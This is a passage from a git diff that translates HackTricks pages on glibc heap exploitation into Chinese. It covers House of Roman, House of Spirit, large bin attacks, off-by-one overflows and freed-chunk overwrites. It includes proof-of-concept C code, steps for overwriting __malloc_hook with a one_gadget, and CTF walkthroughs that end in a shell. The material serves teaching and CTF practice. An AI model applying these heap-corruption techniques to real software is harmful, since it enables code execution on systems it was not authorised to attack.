`fastbin_victim points` to `main_arena + 0x68` +对于之前的操作,攻击者需要能够修改 `fastbin_victim` 的 fd 指针。 -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +然后,`main_arena + 0x68` 并不是那么有趣,所以让我们修改它,使指针指向 **`__malloc_hook`**。 -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +请注意,`__memalign_hook` 通常以 `0x7f` 开头,并在其前面有零,因此可以将其伪装为 `0x70` 快速堆中的一个值。由于地址的最后 4 位是 **随机** 的,因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击,使得块最终变成:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(有关其余字节的更多信息,请查看 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 中的解释)。如果 BF 不起作用,程序就会崩溃(所以从头开始,直到它有效)。 +然后,执行 2 次 malloc 以移除 2 个初始快速堆块,并分配第三个以获取一个在 **`__malloc_hook:`** 中的块。 ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Part 2: Unsorted_bin 攻击 -### Part 2: Unsorted_bin attack - -For more info you can check: +有关更多信息,您可以查看: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +但基本上,它允许将 `main_arena + 0x68` 写入 `chunk->bk` 指定的任何位置。对于攻击,我们选择 `__malloc_hook`。然后,在覆盖它之后,我们将使用相对覆盖来指向 `one_gadget`。 +为此,我们开始获取一个 chunk 并将其放入 **unsorted bin**: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +使用 UAF 在此块中将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址(我们之前已经暴力破解过这个)。 > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> 请注意,此攻击会破坏未排序的 bin(因此小和大也会受到影响)。因此我们现在只能**使用快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +因此,为了触发 `__malloc_hook` 中 `main_arena + 0x68` 的写入,在将 `__malloc_hook` 设置在 `unsorted_bin_ptr->bk` 后,我们只需执行:**`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### 第 3 步:将 \_\_malloc_hook 设置为 system -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +在第一步中,我们控制了一个包含 `__malloc_hook` 的块(在变量 `malloc_hook_chunk` 中),在第二步中,我们成功地在这里写入了 `main_arena + 0x68`。 -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +现在,我们利用 `malloc_hook_chunk` 中的部分覆盖,使用我们在这里写入的 libc 地址(`main_arena + 0x68`)来**指向一个 `one_gadget` 地址**。 -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +在这里需要**暴力破解 12 位随机数**(更多信息请参见 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c))。 -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +最后,一旦正确的地址被覆盖,**调用 `malloc` 并触发 `one_gadget`**。 -## References +## 参考文献 - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..0f8ed29fc 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -### Code +### 代码
House of Spirit - ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### 目标 -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- 能够将一个地址添加到 tcache / fast bin,以便后续可以分配它 -### Requirements +### 要求 -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- 该攻击要求攻击者能够创建几个假 fast chunks,正确指示其大小值,然后能够释放第一个假 chunk,使其进入 bin。 -### Attack +### 攻击 -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- 创建绕过安全检查的假 chunks:您基本上需要 2 个假 chunks,正确指示正确的大小 +- 以某种方式管理释放第一个假 chunk,使其进入 fast 或 tcache bin,然后分配它以覆盖该地址 +**来自** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **的代码非常适合理解该攻击。** 尽管该代码的示意图总结得很好: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> 请注意,创建第二个块是绕过某些完整性检查的必要条件。 -## Examples +## 示例 - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc 信息泄露**:通过溢出,可以更改指针以指向 GOT 地址,从而通过 CTF 的读取操作泄露 libc 地址。 +- **House of Spirit**:利用一个计数器来计算“步枪”的数量,可以生成第一个假块的假大小,然后利用“消息”可以伪造第二个块的大小,最后通过溢出可以更改一个即将被释放的指针,这样我们的第一个假块就被释放了。然后,我们可以分配它,里面将包含“消息”存储的地址。接着,可以使这个指针指向 GOT 表中的 `scanf` 入口,这样我们就可以用 system 的地址覆盖它。\ +下次调用 `scanf` 时,我们可以发送输入 `"/bin/sh"` 并获得一个 shell。 - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc 泄露**:未初始化的栈缓冲区。 +- **House of Spirit**:我们可以修改全局堆指针数组的第一个索引。通过单字节修改,我们在一个有效块内的假块上使用 `free`,这样在再次分配后我们就得到了重叠块的情况。通过这种方式,简单的 Tcache 中毒攻击可以实现任意写入原语。 -## References +## 参考 - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..342f64663 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -2,57 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -For more information about what is a large bin check this page: +有关大型 bin 的更多信息,请查看此页面: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +在 [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) 中可以找到一个很好的示例。 -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +基本上,在最新的 glibc(2.35)“当前”版本中,可以看到没有检查:**`P->bk_nextsize`**,这允许在满足某些条件时用大型 bin 块的值修改任意地址。 -In that example you can find the following conditions: +在该示例中,可以找到以下条件: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- 分配了一个大型块 +- 分配了一个小于第一个块但在同一索引中的大型块 +- 必须更小,因此它必须首先进入 bin +- (创建一个块以防止与顶部块合并) +- 然后,释放第一个大型块并分配一个比它更大的新块 -> Chunk1 进入大型 bin +- 然后,释放第二个大型块 +- 现在,漏洞:攻击者可以将 `chunk1->bk_nextsize` 修改为 `[target-0x20]` +- 然后,分配一个比 chunk 2 更大的块,因此 chunk2 被插入到大型 bin 中,覆盖地址 `chunk1->bk_nextsize->fd_nextsize`,其值为 chunk2 的地址 > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> 还有其他潜在场景,关键是向大型 bin 添加一个 **小于** 当前 bin 中 X 块的块,因此它需要在 bin 中插入到 X 之前,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为较小块的地址将写入该位置。 +这是 malloc 中的相关代码。已添加注释以更好地理解地址是如何被覆盖的: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +这可以用来**覆盖libc的`global_max_fast`全局变量**,从而利用更大块的快速堆攻击。 -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +您可以在[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)找到对该攻击的另一个很好的解释。 -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### 其他示例 - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- 在[**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)中出现的相同情况的大型堆攻击。 +- 写入原语更复杂,因为`global_max_fast`在这里无用。 +- 需要FSOP来完成利用。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..692f60772 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -2,114 +2,112 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +仅仅访问 1B 溢出允许攻击者修改下一个块的 `size` 字段。这允许篡改哪些块实际上被释放,从而可能生成一个包含另一个合法块的块。该利用方式类似于 [double free](double-free.md) 或重叠块。 -There are 2 types of off by one vulnerabilities: +有两种类型的 off by one 漏洞: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- 任意字节:这种类型允许用任何值覆盖该字节 +- 空字节(off-by-null):这种类型仅允许用 0x00 覆盖该字节 +- 这种漏洞的一个常见示例可以在以下代码中看到,其中 `strlen` 和 `strcpy` 的行为不一致,这允许在下一个块的开头设置一个 0x00 字节。 +- 这可以通过 [House of Einherjar](house-of-einherjar.md) 进行利用。 +- 如果使用 Tcache,这可以被利用为 [double free](double-free.md) 情况。
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +在其他检查中,现在每当一个块被释放时,都会将前一个大小与元数据块中配置的大小进行比较,这使得从版本2.28开始,这种攻击相当复杂。 -### Code example: +### 代码示例: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- 由于使用了Tcaches,这种攻击不再有效。 +- 此外,如果您尝试使用更大的块进行滥用(因此不涉及tcaches),您将收到错误:`malloc(): invalid next size (unsorted)` -### Goal +### 目标 -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- 使一个块包含在另一个块内,因此对第二个块的写入访问允许覆盖包含的块 -### Requirements +### 要求 -- Off by one overflow to modify the size metadata information +- 通过一个溢出修改大小元数据的信息 -### General off-by-one attack +### 一般的越界攻击 -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- 分配三个块 `A`、`B` 和 `C`(假设大小为0x20),以及另一个块以防止与顶块合并。 +- 释放 `C`(插入到0x20 Tcache空闲列表中)。 +- 使用块 `A` 溢出到 `B`。利用越界修改 `B` 的 `size` 字段从0x21变为0x41。 +- 现在我们有 `B` 包含空闲块 `C` +- 释放 `B` 并分配一个0x40的块(它将再次放置在这里) +- 我们可以修改 `C` 的 `fd` 指针,它仍然是空闲的(Tcache中毒) -### Off-by-null attack +### 越界空指针攻击 -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- 3个内存块(a、b、c)依次保留。然后释放中间的一个。第一个块包含一个越界溢出漏洞,攻击者利用它写入0x00(如果前一个字节是0x10,它将使中间块指示它比实际小0x10)。 +- 然后,在中间释放的块(b)中分配两个更小的块,但是,由于 `b + b->size` 从未更新 c 块,因为指向的地址小于它应该的值。 +- 然后,b1和c被释放。由于 `c - c->prev_size` 仍然指向 b(现在是 b1),两者合并为一个块。然而,b2仍然在 b1 和 c 之间。 +- 最后,执行新的 malloc,回收这个内存区域,实际上将包含 b2,允许新 malloc 的所有者控制 b2 的内容。 -This image explains perfectly the attack: +这张图片完美地解释了攻击:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## 其他示例与参考 - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- 由于 `strlen` 考虑下一个块的 `size` 字段而导致的越界。 +- 正在使用 Tcache,因此一般的越界攻击可以通过 Tcache 中毒获得任意写入原语。 - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- 可以利用越界泄漏堆中的地址,因为字符串末尾的字节0x00被下一个字段覆盖。 +- 通过滥用越界写入获得任意写入,指针指向另一个地方,在那里将构建一个带有假指针的假结构。然后,可以跟随该结构的指针以获得任意写入。 +- libc 地址被泄漏,因为如果使用 mmap 扩展堆,则 mmap 分配的内存与 libc 之间有固定的偏移量。 +- 最后,滥用任意写入将写入 \_\_free_hook 的地址,使用一个 gadget。 - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- 在读取用户输入行的 `getline` 函数中存在一个 NULL 越界漏洞。此函数用于读取内容的“密钥”,而不是内容。 +- 在写作中创建了5个初始块: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- 块防御 (0x400) 以避免与顶块合并 +- 然后释放块1、5和3,因此: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- 然后滥用块3 (0x1f8),越界空指针被滥用,将 prev_size 写入 `0x4e0`。 +- 注意最初分配的块1、2、5和3的大小加上这4个块的头部等于 `0x4e0`:`hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- 然后,释放块4,生成一个消耗所有块直到开头的块: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- 然后,分配 `0x200` 字节,填充原始块1 +- 然后分配另一个0x200字节,块2被销毁,因此没有泄漏,这不工作?也许这不应该这样做 +- 然后,分配另一个块,填充0x58个“a”(覆盖块2并到达块5),并修改块5的快速空闲块的 `fd` 指针,指向 `__malloc_hook` +- 然后,分配一个0x68的块,因此在 `__malloc_hook` 中的假快速空闲块是下一个快速空闲块 +- 最后,分配一个新的0x68的快速空闲块,并用 `one_gadget` 地址覆盖 `__malloc_hook` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..f324cd487 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# 重写已释放的块 {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +一些提议的堆利用技术需要能够重写已释放块中的指针。本页的目标是总结可能授予此访问权限的潜在漏洞: -### Simple Use After Free +### 简单的使用后释放 -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +如果攻击者能够**在一个已释放的块中写入信息**,他们可以利用这一点来重写所需的指针。 -### Double Free +### 双重释放 -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +如果攻击者能够**对同一个块进行两次`free`**(可能在之间释放其他块)并使其**在同一个桶中出现两次**,用户将能够**稍后分配该块**,**写入所需的指针**,然后**再次分配它**,触发该块被分配的操作(例如,快速桶攻击,tcache攻击...) -### Heap Overflow +### 堆溢出 -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +可能会**溢出一个分配的块,后面有一个已释放的块**,并修改其一些头部/指针。 -### Off-by-one overflow +### 一偏移溢出 -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake 